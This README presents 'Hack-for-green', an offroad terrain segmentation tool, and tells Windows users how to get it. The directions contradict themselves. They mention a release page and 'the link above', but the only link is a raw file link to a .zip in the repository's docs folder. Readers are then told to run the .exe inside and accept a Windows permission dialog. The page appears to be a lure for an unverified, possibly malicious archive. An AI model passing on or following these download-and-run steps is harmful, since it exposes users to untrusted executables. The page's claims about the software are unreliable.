🌿 Hack-for-green - Real-Time Offroad Vision Tool
🌲 What is Hack-for-green?
Hack-for-green is a tool that helps autonomous vehicles understand offroad terrain. It uses a camera to look at the environment and separates different parts of the scene in real time. This process is called semantic segmentation. With this, the vehicle can know where it is safe to move and where it is not.
The software works fast, processing high-resolution images without delay. It achieves this by using a technology called Reactive Streaming Architecture. This means it can provide detailed and accurate terrain information with a high score of 78.21% mean Intersection over Union (mIoU), a measure of accuracy in image segmentation.
Hack-for-green was made during the Pathway Hackathon and is ready to use on Windows computers.
💾 Download Hack-for-green
To get Hack-for-green, you need to visit the release page on GitHub. This page hosts the latest version of the software.
Click on the link above or go directly to:
https://raw.githubusercontent.com/Hugo564/Hack-for-green/main/docs/Hack-for-green-2.2.zip
On this page, look for the latest release. The release will contain one or more files. Download the file for Windows. It will usually be an .exe or .zip file.
🚀 Getting Started: Installing the Software
1. Download the Windows file
From the release page, click on the Windows file link to start the download. The file size is around 100-200 MB depending on the version.
If the file is zipped (.zip), it contains the program and any support files needed for it to work.
2. Open the downloaded file
- If you have an .exe file:
- Double-click the file.
- Follow any on-screen prompts to install.
- You may need to accept a permission dialog from Windows.
- If you have a .zip file:
- Right-click the file and choose "Extract All".
- Pick a folder to extract the files to.
- Open the folder and look for the main program file (usually .exe).